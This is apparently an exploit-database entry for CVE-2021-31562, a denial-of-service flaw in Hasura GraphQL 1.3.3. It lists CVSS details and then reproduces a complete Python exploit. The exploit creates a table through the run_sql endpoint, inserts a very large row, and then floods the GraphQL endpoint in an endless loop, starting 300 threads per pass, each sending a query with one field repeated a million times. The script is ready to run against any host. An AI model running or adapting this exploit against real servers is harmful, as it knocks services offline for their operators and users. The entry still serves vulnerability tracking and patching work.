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Hasura GraphQL 1.3.3 Denial Of Service

CVE	Category	Price	Severity
CVE-2021-31562	CWE-400	$1,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-04-21

CVSS	EPSS	EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040118

Below is a copy:

Hasura GraphQL 1.3.3 Denial Of Service

# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import sys
import requests
import threading

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
THREADS = 300

def create_table():
  data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def insert_row():
  bomb = 'A' * 100000
  data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

def DoS():
  dups = 'test \n ' * 1000000
  data =  {'query': 'query { test_db { ' + dups + '} }'}
  endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r

if not create_table().ok:
  print('something went wrong, could not create table.')
  sys.exit(1)

if not insert_row().ok:
  print('something went wrong, could not insert row')
  sys.exit(1)

while True:
  for _ in range(THREADS):
    print('Starting')
    t = threading.Thread(target=DoS, args=())
    t.start()

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